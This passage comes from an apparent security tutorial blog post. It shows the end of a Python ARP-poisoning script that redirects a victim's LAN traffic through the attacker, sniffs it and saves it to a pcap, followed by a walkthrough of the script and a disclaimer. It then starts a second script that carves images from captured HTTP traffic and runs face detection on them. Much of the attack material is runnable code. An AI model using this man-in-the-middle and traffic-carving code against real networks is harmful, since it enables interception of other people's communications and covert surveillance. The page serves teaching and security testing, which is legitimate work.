<span class="line"></span>
<span class="line"><span style="color: #F8F8F2">tgt_mac </span><span style="color: #F92672">=</span><span style="color: #F8F8F2"> get_mac(tgt_ip)</span></span>
<span class="line"></span>
<span class="line"><span style="color: #F92672">if</span><span style="color: #F8F8F2"> tgt_mac </span><span style="color: #F92672">is</span><span style="color: #F8F8F2"> </span><span style="color: #AE81FF">None</span><span style="color: #F8F8F2">:</span></span>
<span class="line"><span style="color: #F8F8F2">    </span><span style="color: #66D9EF">print</span><span style="color: #F8F8F2">(</span><span style="color: #E6DB74">&quot;[!!!] Failed to get target MAC. Exiting.&quot;</span><span style="color: #F8F8F2">)</span></span>
<span class="line"><span style="color: #F8F8F2">    sys.exit(</span><span style="color: #AE81FF">0</span><span style="color: #F8F8F2">)</span></span>
<span class="line"><span style="color: #F92672">else</span><span style="color: #F8F8F2">:</span></span>
<span class="line"><span style="color: #F8F8F2">    </span><span style="color: #66D9EF">print</span><span style="color: #F8F8F2">(</span><span style="color: #E6DB74">&quot;[*] Target </span><span style="color: #AE81FF">%s</span><span style="color: #E6DB74"> is at </span><span style="color: #AE81FF">%s</span><span style="color: #E6DB74">&quot;</span><span style="color: #F8F8F2"> </span><span style="color: #F92672">%</span><span style="color: #F8F8F2"> (tgt_ip, tgt_mac))</span></span>
<span class="line"></span>
<span class="line"><span style="color: #88846F"># start poison thread</span></span>
<span class="line"><span style="color: #F8F8F2">poison_thread </span><span style="color: #F92672">=</span><span style="color: #F8F8F2"> threading.Thread(</span><span style="color: #FD971F; font-style: italic">target</span><span style="color: #F92672">=</span><span style="color: #F8F8F2">poison_target,</span></span>
<span class="line"><span style="color: #F8F8F2">                                 </span><span style="color: #FD971F; font-style: italic">args</span><span style="color: #F92672">=</span><span style="color: #F8F8F2">(tgt_gateway,</span></span>
<span class="line"><span style="color: #F8F8F2">                                       tgt_gateway_mac,</span></span>
<span class="line"><span style="color: #F8F8F2">                                       tgt_ip,</span></span>
<span class="line"><span style="color: #F8F8F2">                                       tgt_mac)</span></span>
<span class="line"><span style="color: #F8F8F2">                                 )</span></span>
<span class="line"><span style="color: #F8F8F2">poison_thread.start()</span></span>
<span class="line"></span>
<span class="line"><span style="color: #F92672">try</span><span style="color: #F8F8F2">:</span></span>
<span class="line"><span style="color: #F8F8F2">    </span><span style="color: #66D9EF">print</span><span style="color: #F8F8F2">(</span><span style="color: #E6DB74">&quot;[*] Starting sniffer for </span><span style="color: #AE81FF">%d</span><span style="color: #E6DB74"> packets&quot;</span><span style="color: #F8F8F2"> </span><span style="color: #F92672">%</span><span style="color: #F8F8F2"> packet_count)</span></span>
<span class="line"><span style="color: #F8F8F2">    bpf_filter </span><span style="color: #F92672">=</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">&quot;ip host </span><span style="color: #AE81FF">%s</span><span style="color: #E6DB74">&quot;</span><span style="color: #F8F8F2"> </span><span style="color: #F92672">%</span><span style="color: #F8F8F2"> tgt_ip</span></span>
<span class="line"><span style="color: #F8F8F2">    packets </span><span style="color: #F92672">=</span><span style="color: #F8F8F2"> sniff(</span><span style="color: #FD971F; font-style: italic">count</span><span style="color: #F92672">=</span><span style="color: #F8F8F2">packet_count,</span></span>
<span class="line"><span style="color: #F8F8F2">                    </span><span style="color: #FD971F; font-style: italic">filter</span><span style="color: #F92672">=</span><span style="color: #F8F8F2">bpf_filter,</span></span>
<span class="line"><span style="color: #F8F8F2">                    </span><span style="color: #FD971F; font-style: italic">iface</span><span style="color: #F92672">=</span><span style="color: #F8F8F2">interface</span></span>
<span class="line"><span style="color: #F8F8F2">                    )</span></span>
<span class="line"><span style="color: #F8F8F2">    </span><span style="color: #88846F"># write out the captured packets</span></span>
<span class="line"><span style="color: #F8F8F2">    </span><span style="color: #66D9EF">print</span><span style="color: #F8F8F2">(</span><span style="color: #E6DB74">&quot;[*] Writing packets to arper.pcap&quot;</span><span style="color: #F8F8F2">)</span></span>
<span class="line"><span style="color: #F8F8F2">    wrpcap(</span><span style="color: #E6DB74">&#39;arper.pcap&#39;</span><span style="color: #F8F8F2">, packets)</span></span>
<span class="line"></span>
<span class="line"><span style="color: #F92672">except</span><span style="color: #F8F8F2"> </span><span style="color: #66D9EF; font-style: italic">KeyboardInterrupt</span><span style="color: #F8F8F2">:</span></span>
<span class="line"><span style="color: #F8F8F2">    </span><span style="color: #F92672">pass</span></span>
<span class="line"></span>
<span class="line"><span style="color: #F92672">finally</span><span style="color: #F8F8F2">:</span></span>
<span class="line"><span style="color: #F8F8F2">    poisoning </span><span style="color: #F92672">=</span><span style="color: #F8F8F2"> </span><span style="color: #AE81FF">False</span></span>
<span class="line"><span style="color: #F8F8F2">    </span><span style="color: #88846F"># wait for poisoning thread to exit</span></span>
<span class="line"><span style="color: #F8F8F2">    time.sleep(</span><span style="color: #AE81FF">2</span><span style="color: #F8F8F2">)</span></span>
<span class="line"></span>
<span class="line"><span style="color: #F8F8F2">    </span><span style="color: #88846F"># restore the network</span></span>
<span class="line"><span style="color: #F8F8F2">    restore_target(tgt_gateway,</span></span>
<span class="line"><span style="color: #F8F8F2">                   tgt_gateway_mac,</span></span>
<span class="line"><span style="color: #F8F8F2">                   tgt_ip,</span></span>
<span class="line"><span style="color: #F8F8F2">                   tgt_mac</span></span>
<span class="line"><span style="color: #F8F8F2">                   )</span></span>
<span class="line"><span style="color: #F8F8F2">    sys.exit(</span><span style="color: #AE81FF">0</span><span style="color: #F8F8F2">)</span></span></code></pre></div>



<div class="wp-block-jetpack-markdown"><p>A network packet manipulation library based on Scapy. ARP poisoning involves manipulating the ARP cache of a target device on a local network to redirect its traffic through the attacker’s machine. The script also includes a basic packet sniffer to capture network traffic between the target and the gateway.</p>
<h2>Explanation</h2>
<ol>
<li>
<p><strong>Import Libraries:</strong></p>
<pre><code class="language-python">from kamene.all import *
import sys
import threading
import time
</code></pre>
<p>The script imports necessary modules from Kamene for network packet manipulation, as well as <code>sys</code>, <code>threading</code>, and <code>time</code> for general scripting functionality.</p>
</li>
<li>
<p><strong>Configuration:</strong></p>
<pre><code class="language-python">interface = &quot;en1&quot;
tgt_ip = &quot;172.16.1.71&quot;
tgt_gateway = &quot;172.16.1.254&quot;
packet_count = 1000
poisoning = True
</code></pre>
<ul>
<li><code>interface</code>: Specifies the network interface to be used (e.g., “en1”).</li>
<li><code>tgt_ip</code>: Target IP address (the victim’s IP address).</li>
<li><code>tgt_gateway</code>: IP address of the default gateway.</li>
<li><code>packet_count</code>: Number of packets to sniff.</li>
<li><code>poisoning</code>: A flag to control the ARP poisoning loop.</li>
</ul>
</li>
<li>
<p><strong>ARP Cache Restoration Function:</strong></p>
<pre><code class="language-python">def restore_target(gateway_ip, gateway_mac, target_ip, target_mac):
    # ARP cache restoration using send
    # Sends ARP replies to restore the legitimate associations
    ...
</code></pre>
</li>
<li>
<p><strong>MAC Address Retrieval Function:</strong></p>
<pre><code class="language-python">def get_mac(ip_address):
    # Sends ARP requests to get MAC address corresponding to an IP address
    ...
</code></pre>
</li>
<li>
<p><strong>ARP Poisoning Function:</strong></p>
<pre><code class="language-python">def poison_target(gateway_ip, gateway_mac, target_ip, target_mac):
    # ARP poisoning loop
    ...
</code></pre>
</li>
<li>
<p><strong>Configuration Settings for Kamene:</strong></p>
<pre><code class="language-python">conf.iface = interface
conf.verb = 0  # Turn off Kamene output
</code></pre>
<p>Configures Kamene to use the specified network interface and suppress output.</p>
</li>
<li>
<p><strong>Retrieve MAC Addresses of the Target and Gateway:</strong></p>
<pre><code class="language-python">tgt_gateway_mac = get_mac(tgt_gateway)
tgt_mac = get_mac(tgt_ip)
</code></pre>
<p>Retrieves the MAC addresses associated with the target and gateway IP addresses.</p>
</li>
<li>
<p><strong>ARP Poisoning Thread:</strong></p>
<pre><code class="language-python">poison_thread = threading.Thread(target=poison_target,
                                 args=(tgt_gateway,
                                       tgt_gateway_mac,
                                       tgt_ip,
                                       tgt_mac)
                                 )
poison_thread.start()
</code></pre>
<p>Starts a separate thread for the ARP poisoning function.</p>
</li>
<li>
<p><strong>Packet Sniffing:</strong></p>
<pre><code class="language-python">try:
    ...
    packets = sniff(count=packet_count,
                    filter=bpf_filter,
                    iface=interface)
    ...
</code></pre>
<p>Uses Kamene’s <code>sniff</code> function to capture a specified number of packets that match the given BPF (Berkeley Packet Filter) filter.</p>
</li>
<li>
<p><strong>Packet Writing:</strong></p>
<pre><code class="language-python">print(&quot;[*] Writing packets to arper.pcap&quot;)
wrpcap('arper.pcap', packets)
</code></pre>
<p>Writes the captured packets to a pcap file named ‘arper.pcap’.</p>
</li>
<li>
<p><strong>Cleanup and Restoration:</strong></p>
<pre><code class="language-python">finally:
    poisoning = False
    time.sleep(2)
    restore_target(tgt_gateway,
                   tgt_gateway_mac,
                   tgt_ip,
                   tgt_mac)
    sys.exit(0)
</code></pre>
<p>Stops the ARP poisoning thread, waits for it to exit, and then restores the ARP cache on the target device before exiting the script.</p>
</li>
</ol>
<p><strong>Please note that ARP poisoning is a malicious activity and should only be performed in controlled environments for educational or security testing purposes. Unauthorized use of ARP poisoning is illegal and unethical. Always ensure you have the necessary permissions before conducting any network-related activities.</strong></p>
</div>



<h2 class="wp-block-heading">PCAP Processing</h2>



<p class="wp-block-paragraph">PCAP (Packet Capture) files store network traffic data, and processing them is a common task in network analysis, security, and troubleshooting. Python provides various libraries for working with PCAP files, and one of them is <code>scapy</code>, which is used in the code you provided. Here&#8217;s how to process PCAP files using <code>scapy</code>:</p>



<div class="wp-block-kevinbatdorf-code-block-pro cbp-has-line-numbers cbp-highlight-hover" data-code-block-pro-font-family="Code-Pro-JetBrains-Mono" style="font-size:.875rem;font-family:Code-Pro-JetBrains-Mono,ui-monospace,SFMono-Regular,Menlo,Monaco,Consolas,monospace;--cbp-line-number-color:#F8F8F2;--cbp-line-number-width:calc(3 * 0.6 * .875rem);--cbp-line-highlight-color:rgba(253, 253, 237, 0.2);line-height:1.25rem;--cbp-tab-width:2;tab-size:var(--cbp-tab-width, 2)"><span style="display:flex;align-items:center;padding:10px 0px 10px 16px;margin-bottom:-2px;width:100%;text-align:left;background-color:#34362e;color:#efefe1">Python</span><span role="button" tabindex="0" data-code="import cv2
from kamene.all import *

pictures_directory = &quot;pic_carver/pictures&quot;
faces_directory = &quot;pic_carver/faces&quot;
pcap_file = &quot;bhp.pcap&quot;


def face_detect(path, file_name):
    img = cv2.imread(path)
    cascade = cv2.CascadeClassifier(&quot;haarcascade_frontalface_alt.xml&quot;)
    rects = cascade.detectMultiScale(img, 1.3, 4,
                                     cv2.CASCADE_SCALE_IMAGE, (20, 20)
                                     )
    if len(rects) == 0:
        return False
    rects[:, 2:] += rects[:, :2]

    # highlight the faces in the image
    for x1, y1, x2, y2 in rects:
        cv2.rectangle(img, (x1, y1), (x2, y2), (127, 255, 0), 2)
    cv2.imwrite(&quot;%s/%s-%s&quot; % (faces_directory, pcap_file, file_name), img)
    return True


def get_http_headers(http_payload):
    try:
        # split the headers off if it is HTTP traffic
        headers_raw = http_payload[:http_payload.index(&quot;\r\n\r\n&quot;) + 2]
        # break out the headers
        headers = dict(
            re.findall(r&quot;(?P&lt;name&gt;.*?): (?P&lt;value&gt;.*?)\r\n&quot;, headers_raw))
    except:
        return None
    if &quot;Content-Type&quot; not in headers:
        return None
    return headers


def extract_image(headers, http_payload):
    image = None
    image_type = None

    try:
        if &quot;image&quot; in headers['Content-Type']:
            # grab the image type and image body
            image_type = headers['Content-Type'].split(&quot;/&quot;)[1]
            image = http_payload[http_payload.index(&quot;\r\n\r\n&quot;) + 4:]
            # if we detect compression decompress the image
            try:
                if &quot;Content-Encoding&quot; in list(headers.keys()):
                    if headers['Content-Encoding'] == &quot;gzip&quot;:
                        image = zlib.decompress(image, 16 + zlib.MAX_WBITS)
                    elif headers['Content-Encoding'] == &quot;deflate&quot;:
                        image = zlib.decompress(image)
            except:
                pass
    except:
        return None, None
    return image, image_type


def http_assembler(pcap_fl):
    carved_images = 0
    faces_detected = 0

    a = rdpcap(pcap_fl)
    sessions = a.sessions()

    for session in sessions:
        http_payload = &quot;&quot;
        for packet in sessions[session]:
            try:
                if packet[TCP].dport == 80 or packet[TCP].sport == 80:
                    # reassemble the stream into a single buffer
                    http_payload += str(packet[TCP].payload)
            except:
                pass
        headers = get_http_headers(http_payload)

        if headers is None:
            continue

        image, image_type = extract_image(headers, http_payload)

        if image is not None and image_type is not None:
            # store the image
            file_name = &quot;%s-pic_carver_%d.%s&quot; % (
                pcap_fl, carved_images, image_type)
            fd = open(&quot;%s/%s&quot; % (pictures_directory, file_name), &quot;wb&quot;)
            fd.write(image)
            fd.close()
            carved_images += 1
            # now attempt face detection
            try:
                result = face_detect(&quot;%s/%s&quot; % (pictures_directory, file_name),
                                     file_name)
                if result is True:
                    faces_detected += 1
            except:
                pass
    return carved_images, faces_detected


carved_img, faces_dtct = http_assembler(pcap_file)

print(&quot;Extracted: %d images&quot; % carved_images)
print(&quot;Detected: %d faces&quot; % faces_detected)" style="color:#F8F8F2;display:none" aria-label="Copy" class="code-block-pro-copy-button"><svg xmlns="http://www.w3.org/2000/svg" style="width:24px;height:24px" fill="none" viewBox="0 0 24 24" stroke="currentColor" stroke-width="2"><path class="with-check" stroke-linecap="round" stroke-linejoin="round" d="M9 5H7a2 2 0 00-2 2v12a2 2 0 002 2h10a2 2 0 002-2V7a2 2 0 00-2-2h-2M9 5a2 2 0 002 2h2a2 2 0 002-2M9 5a2 2 0 012-2h2a2 2 0 012 2m-6 9l2 2 4-4"></path><path class="without-check" stroke-linecap="round" stroke-linejoin="round" d="M9 5H7a2 2 0 00-2 2v12a2 2 0 002 2h10a2 2 0 002-2V7a2 2 0 00-2-2h-2M9 5a2 2 0 002 2h2a2 2 0 002-2M9 5a2 2 0 012-2h2a2 2 0 012 2"></path></svg></span><pre class="shiki monokai" style="background-color: #272822" tabindex="0"><code><span class="line"><span style="color: #F92672">import</span><span style="color: #F8F8F2"> cv2</span></span>
<span class="line"><span style="color: #F92672">from</span><span style="color: #F8F8F2"> kamene.all </span><span style="color: #F92672">import</span><span style="color: #F8F8F2"> </span><span style="color: #F92672">*</span></span>
<span class="line"></span>
<span class="line"><span style="color: #F8F8F2">pictures_directory </span><span style="color: #F92672">=</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">&quot;pic_carver/pictures&quot;</span></span>
<span class="line"><span style="color: #F8F8F2">faces_directory </span><span style="color: #F92672">=</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">&quot;pic_carver/faces&quot;</span></span>
<span class="line"><span style="color: #F8F8F2">pcap_file </span><span style="color: #F92672">=</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">&quot;bhp.pcap&quot;</span></span>
<span class="line"></span>
<span class="line"></span>
<span class="line"><span style="color: #66D9EF; font-style: italic">def</span><span style="color: #F8F8F2"> </span><span style="color: #A6E22E">face_detect</span><span style="color: #F8F8F2">(</span><span style="color: #FD971F; font-style: italic">path</span><span style="color: #F8F8F2">, </span><span style="color: #FD971F; font-style: italic">file_name</span><span style="color: #F8F8F2">):</span></span>
<span class="line"><span style="color: #F8F8F2">    img </span><span style="color: #F92672">=</span><span style="color: #F8F8F2"> cv2.imread(path)</span></span>
<span class="line"><span style="color: #F8F8F2">    cascade </span><span style="color: #F92672">=</span><span style="color: #F8F8F2"> cv2.CascadeClassifier(</span><span style="color: #E6DB74">&quot;haarcascade_frontalface_alt.xml&quot;</span><span style="color: #F8F8F2">)</span></span>
<span class="line"><span style="color: #F8F8F2">    rects </span><span style="color: #F92672">=</span><span style="color: #F8F8F2"> cascade.detectMultiScale(img, </span><span style="color: #AE81FF">1.3</span><span style="color: #F8F8F2">, </span><span style="color: #AE81FF">4</span><span style="color: #F8F8F2">,</span></span>
<span class="line"><span style="color: #F8F8F2">                                     cv2.</span><span style="color: #AE81FF">CASCADE_SCALE_IMAGE</span><span style="color: #F8F8F2">, (</span><span style="color: #AE81FF">20</span><span style="color: #F8F8F2">, </span><span style="color: #AE81FF">20</span><span style="color: #F8F8F2">)</span></span>
<span class="line"><span style="color: #F8F8F2">                                     )</span></span>
<span class="line"><span style="color: #F8F8F2">    </span><span style="color: #F92672">if</span><span style="color: #F8F8F2"> </span><span style="color: #66D9EF">len</span><span style="color: #F8F8F2">(rects) </span><span style="color: #F92672">==</span><span style="color: #F8F8F2"> </span><span style="color: #AE81FF">0</span><span style="color: #F8F8F2">:</span></span>
<span class="line"><span style="color: #F8F8F2">        </span><span style="color: #F92672">return</span><span style="color: #F8F8F2"> </span><span style="color: #AE81FF">False</span></span>
<span class="line"><span style="color: #F8F8F2">    rects[:, </span><span style="color: #AE81FF">2</span><span style="color: #F8F8F2">:] </span><span style="color: #F92672">+=</span><span style="color: #F8F8F2"> rects[:, :</span><span style="color: #AE81FF">2</span><span style="color: #F8F8F2">]</span></span>
<span class="line"></span>
<span class="line"><span style="color: #F8F8F2">    </span><span style="color: #88846F"># highlight the faces in the image</span></span>
<span class="line"><span style="color: #F8F8F2">    </span><span style="color: #F92672">for</span><span style="color: #F8F8F2"> x1, y1, x2, y2 </span><span style="color: #F92672">in</span><span style="color: #F8F8F2"> rects:</span></span>
<span class="line"><span style="color: #F8F8F2">        cv2.rectangle(img, (x1, y1), (x2, y2), (</span><span style="color: #AE81FF">127</span><span style="color: #F8F8F2">, </span><span style="color: #AE81FF">255</span><span style="color: #F8F8F2">, </span><span style="color: #AE81FF">0</span><span style="color: #F8F8F2">), </span><span style="color: #AE81FF">2</span><span style="color: #F8F8F2">)</span></span>
<span class="line"><span style="color: #F8F8F2">    cv2.imwrite(</span><span style="color: #E6DB74">&quot;</span><span style="color: #AE81FF">%s</span><span style="color: #E6DB74">/</span><span style="color: #AE81FF">%s</span><span style="color: #E6DB74">-</span><span style="color: #AE81FF">%s</span><span style="color: #E6DB74">&quot;</span><span style="color: #F8F8F2"> </span><span style="color: #F92672">%</span><span style="color: #F8F8F2"> (faces_directory, pcap_file, file_name), img)</span></span>
<span class="line"><span style="color: #F8F8F2">    </span><span style="color: #F92672">return</span><span style="color: #F8F8F2"> </span><span style="color: #AE81FF">True</span></span>
<span class="line"></span>
<span class="line"></span>
<span class="line"><span style="color: #66D9EF; font-style: italic">def</span><span style="color: #F8F8F2"> </span><span style="color: #A6E22E">get_http_headers</span><span style="color: #F8F8F2">(</span><span style="color: #FD971F; font-style: italic">http_payload</span><span style="color: #F8F8F2">):</span></span>
<span class="line"><span style="color: #F8F8F2">    </span><span style="color: #F92672">try</span><span style="color: #F8F8F2">:</span></span>
<span class="line"><span style="color: #F8F8F2">        </span><span style="color: #88846F"># split the headers off if it is HTTP traffic</span></span>
<span class="line"><span style="color: #F8F8F2">        headers_raw </span><span style="color: #F92672">=</span><span style="color: #F8F8F2"> http_payload[:http_payload.index(</span><span style="color: #E6DB74">&quot;</span><span style="color: #AE81FF">\r\n\r\n</span><span style="color: #E6DB74">&quot;</span><span style="color: #F8F8F2">) </span><span style="color: #F92672">+</span><span style="color: #F8F8F2"> </span><span style="color: #AE81FF">2</span><span style="color: #F8F8F2">]</span></span>
<span class="line"><span style="color: #F8F8F2">        </span><span style="color: #88846F"># break out the headers</span></span>
<span class="line"><span style="color: #F8F8F2">        headers </span><span style="color: #F92672">=</span><span style="color: #F8F8F2"> </span><span style="color: #66D9EF; font-style: italic">dict</span><span style="color: #F8F8F2">(</span></span>
<span class="line"><span style="color: #F8F8F2">            re.findall(</span><span style="color: #66D9EF; font-style: italic">r</span><span style="color: #E6DB74">&quot;(</span><span style="color: #F92672">?P&lt;name&gt;</span><span style="color: #E6DB74">.</span><span style="color: #F92672">*?</span><span style="color: #E6DB74">): (</span><span style="color: #F92672">?P&lt;value&gt;</span><span style="color: #E6DB74">.</span><span style="color: #F92672">*?</span><span style="color: #E6DB74">)</span><span style="color: #AE81FF">\r\n</span><span style="color: #E6DB74">&quot;</span><span style="color: #F8F8F2">, headers_raw))</span></span>
<span class="line"><span style="color: #F8F8F2">    </span><span style="color: #F92672">except</span><span style="color: #F8F8F2">:</span></span>
<span class="line"><span style="color: #F8F8F2">        </span><span style="color: #F92672">return</span><span style="color: #F8F8F2"> </span><span style="color: #AE81FF">None</span></span>
<span class="line"><span style="color: #F8F8F2">    </span><span style="color: #F92672">if</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">&quot;Content-Type&quot;</span><span style="color: #F8F8F2"> </span><span style="color: #F92672">not</span><span style="color: #F8F8F2"> </span><span style="color: #F92672">in</span><span style="color: #F8F8F2"> headers:</span></span>
<span class="line"><span style="color: #F8F8F2">        </span><span style="color: #F92672">return</span><span style="color: #F8F8F2"> </span><span style="color: #AE81FF">None</span></span>
<span class="line"><span style="color: #F8F8F2">    </span><span style="color: #F92672">return</span><span style="color: #F8F8F2"> headers</span></span>
<span class="line"></span>
<span class="line"></span>
<span class="line"><span style="color: #66D9EF; font-style: italic">def</span><span style="color: #F8F8F2"> </span><span style="color: #A6E22E">extract_image</span><span style="color: #F8F8F2">(</span><span style="color: #FD971F; font-style: italic">headers</span><span style="color: #F8F8F2">, </span><span style="color: #FD971F; font-style: italic">http_payload</span><span style="color: #F8F8F2">):</span></span>
<span class="line"><span style="color: #F8F8F2">    image </span><span style="color: #F92672">=</span><span style="color: #F8F8F2"> </span><span style="color: #AE81FF">None</span></span>
<span class="line"><span style="color: #F8F8F2">    image_type </span><span style="color: #F92672">=</span><span style="color: #F8F8F2"> </span><span style="color: #AE81FF">None</span></span>
<span class="line"></span>
<span class="line"><span style="color: #F8F8F2">    </span><span style="color: #F92672">try</span><span style="color: #F8F8F2">:</span></span>
<span class="line"><span style="color: #F8F8F2">        </span><span style="color: #F92672">if</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">&quot;image&quot;</span><span style="color: #F8F8F2"> </span><span style="color: #F92672">in</span><span style="color: #F8F8F2"> headers[</span><span style="color: #E6DB74">&#39;Content-Type&#39;</span><span style="color: #F8F8F2">]:</span></span>
<span class="line"><span style="color: #F8F8F2">            </span><span style="color: #88846F"># grab the image type and image body</span></span>
<span class="line"><span style="color: #F8F8F2">            image_type </span><span style="color: #F92672">=</span><span style="color: #F8F8F2"> headers[</span><span style="color: #E6DB74">&#39;Content-Type&#39;</span><span style="color: #F8F8F2">].split(</span><span style="color: #E6DB74">&quot;/&quot;</span><span style="color: #F8F8F2">)[</span><span style="color: #AE81FF">1</span><span style="color: #F8F8F2">]</span></span>
<span class="line"><span style="color: #F8F8F2">            image </span><span style="color: #F92672">=</span><span style="color: #F8F8F2"> http_payload[http_payload.index(</span><span style="color: #E6DB74">&quot;</span><span style="color: #AE81FF">\r\n\r\n</span><span style="color: #E6DB74">&quot;</span><span style="color: #F8F8F2">) </span><span style="color: #F92672">+</span><span style="color: #F8F8F2"> </span><span style="color: #AE81FF">4</span><span style="color: #F8F8F2">:]</span></span>
<span class="line"><span style="color: #F8F8F2">            </span><span style="color: #88846F"># if we detect compression decompress the image</span></span>
<span class="line"><span style="color: #F8F8F2">            </span><span style="color: #F92672">try</span><span style="color: #F8F8F2">:</span></span>
<span class="line"><span style="color: #F8F8F2">                </span><span style="color: #F92672">if</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">&quot;Content-Encoding&quot;</span><span style="color: #F8F8F2"> </span><span style="color: #F92672">in</span><span style="color: #F8F8F2"> </span><span style="color: #66D9EF; font-style: italic">list</span><span style="color: #F8F8F2">(headers.keys()):</span></span>
<span class="line"><span style="color: #F8F8F2">                    </span><span style="color: #F92672">if</span><span style="color: #F8F8F2"> headers[</span><span style="color: #E6DB74">&#39;Content-Encoding&#39;</span><span style="color: #F8F8F2">] </span><span style="color: #F92672">==</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">&quot;gzip&quot;</span><span style="color: #F8F8F2">:</span></span>
<span class="line"><span style="color: #F8F8F2">                        image </span><span style="color: #F92672">=</span><span style="color: #F8F8F2"> zlib.decompress(image, </span><span style="color: #AE81FF">16</span><span style="color: #F8F8F2"> </span><span style="color: #F92672">+</span><span style="color: #F8F8F2"> zlib.</span><span style="color: #AE81FF">MAX_WBITS</span><span style="color: #F8F8F2">)</span></span>
<span class="line"><span style="color: #F8F8F2">                    </span><span style="color: #F92672">elif</span><span style="color: #F8F8F2"> headers[</span><span style="color: #E6DB74">&#39;Content-Encoding&#39;</span><span style="color: #F8F8F2">] </span><span style="color: #F92672">==</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">&quot;deflate&quot;</span><span style="color: #F8F8F2">:</span></span>
<span class="line"><span style="color: #F8F8F2">                        image </span><span style="color: #F92672">=</span><span style="color: #F8F8F2"> zlib.decompress(image)</span></span>
<span class="line"><span style="color: #F8F8F2">            </span><span style="color: #F92672">except</span><span style="color: #F8F8F2">:</span></span>
<span class="line"><span style="color: #F8F8F2">                </span><span style="color: #F92672">pass</span></span>
<span class="line"><span style="color: #F8F8F2">    </span><span style="color: #F92672">except</span><span style="color: #F8F8F2">:</span></span>
<span class="line"><span style="color: #F8F8F2">        </span><span style="color: #F92672">return</span><span style="color: #F8F8F2"> </span><span style="color: #AE81FF">None</span><span style="color: #F8F8F2">, </span><span style="color: #AE81FF">None</span></span>
<span class="line"><span style="color: #F8F8F2">    </span><span style="color: #F92672">return</span><span style="color: #F8F8F2"> image, image_type</span></span>
<span class="line"></span>
<span class="line"></span>
<span class="line"><span style="color: #66D9EF; font-style: italic">def</span><span style="color: #F8F8F2"> </span><span style="color: #A6E22E">http_assembler</span><span style="color: #F8F8F2">(</span><span style="color: #FD971F; font-style: italic">pcap_fl</span><span style="color: #F8F8F2">):</span></span>
<span class="line"><span style="color: #F8F8F2">    carved_images </span><span style="color: #F92672">=</span><span style="color: #F8F8F2"> </span><span style="color: #AE81FF">0</span></span>
<span class="line"><span style="color: #F8F8F2">    faces_detected </span><span style="color: #F92672">=</span><span style="color: #F8F8F2"> </span><span style="color: #AE81FF">0</span></span>
<span class="line"></span>
<span class="line"><span style="color: #F8F8F2">    a </span><span style="color: #F92672">=</span><span style="color: #F8F8F2"> rdpcap(pcap_fl)</span></span>
<span class="line"><span style="color: #F8F8F2">    sessions </span><span style="color: #F92672">=</span><span style="color: #F8F8F2"> a.sessions()</span></span>
<span class="line"></span>
<span class="line"><span style="color: #F8F8F2">    </span><span style="color: #F92672">for</span><span style="color: #F8F8F2"> session </span><span style="color: #F92672">in</span><span style="color: #F8F8F2"> sessions:</span></span>
<span class="line"><span style="color: #F8F8F2">        http_payload </span><span style="color: #F92672">=</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">&quot;&quot;</span></span>
<span class="line"><span style="color: #F8F8F2">        </span><span style="color: #F92672">for</span><span style="color: #F8F8F2"> packet </span><span style="color: #F92672">in</span><span style="color: #F8F8F2"> sessions[session]:</span></span>
<span class="line"><span style="color: #F8F8F2">            </span><span style="color: #F92672">try</span><span style="color: #F8F8F2">:</span></span>
<span class="line"><span style="color: #F8F8F2">                </span><span style="color: #F92672">if</span><span style="color: #F8F8F2"> packet[</span><span style="color: #AE81FF">TCP</span><span style="color: #F8F8F2">].dport </span><span style="color: #F92672">==</span><span style="color: #F8F8F2"> </span><span style="color: #AE81FF">80</span><span style="color: #F8F8F2"> </span><span style="color: #F92672">or</span><span style="color: #F8F8F2"> packet[</span><span style="color: #AE81FF">TCP</span><span style="color: #F8F8F2">].sport </span><span style="color: #F92672">==</span><span style="color: #F8F8F2"> </span><span style="color: #AE81FF">80</span><span style="color: #F8F8F2">:</span></span>
<span class="line"><span style="color: #F8F8F2">                    </span><span style="color: #88846F"># reassemble the stream into a single buffer</span></span>
<span class="line"><span style="color: #F8F8F2">                    http_payload </span><span style="color: #F92672">+=</span><span style="color: #F8F8F2"> </span><span style="color: #66D9EF; font-style: italic">str</span><span style="color: #F8F8F2">(packet[</span><span style="color: #AE81FF">TCP</span><span style="color: #F8F8F2">].payload)</span></span>
<span class="line"><span style="color: #F8F8F2">            </span><span style="color: #F92672">except</span><span style="color: #F8F8F2">:</span></span>
<span class="line"><span style="color: #F8F8F2">                </span><span style="color: #F92672">pass</span></span>
<span class="line"><span style="color: #F8F8F2">        headers </span><span style="color: #F92672">=</span><span style="color: #F8F8F2"> get_http_headers(http_payload)</span></span>
<span class="line"></span>
<span class="line"><span style="color: #F8F8F2">        </span><span style="color: #F92672">if</span><span style="color: #F8F8F2"> headers </span><span style="color: #F92672">is</span><span style="color: #F8F8F2"> </span><span style="color: #AE81FF">None</span><span style="color: #F8F8F2">:</span></span>
<span class="line"><span style="color: #F8F8F2">            </span><span style="color: #F92672">continue</span></span>
<span class="line"></span>
<span class="line"><span style="color: #F8F8F2">        image, image_type </span><span style="color: #F92672">=</span><span style="color: #F8F8F2"> extract_image(headers, http_payload)</span></span>
<span class="line"></span>
<span class="line"><span style="color: #F8F8F2">        </span><span style="color: #F92672">if</span><span style="color: #F8F8F2"> image </span><span style="color: #F92672">is</span><span style="color: #F8F8F2"> </span><span style="color: #F92672">not</span><span style="color: #F8F8F2"> </span><span style="color: #AE81FF">None</span><span style="color: #F8F8F2"> </span><span style="color: #F92672">and</span><span style="color: #F8F8F2"> image_type </span><span style="color: #F92672">is</span><span style="color: #F8F8F2"> </span><span style="color: #F92672">not</span><span style="color: #F8F8F2"> </span><span style="color: #AE81FF">None</span><span style="color: #F8F8F2">:</span></span>
<span class="line"><span style="color: #F8F8F2">            </span><span style="color: #88846F"># store the image</span></span>
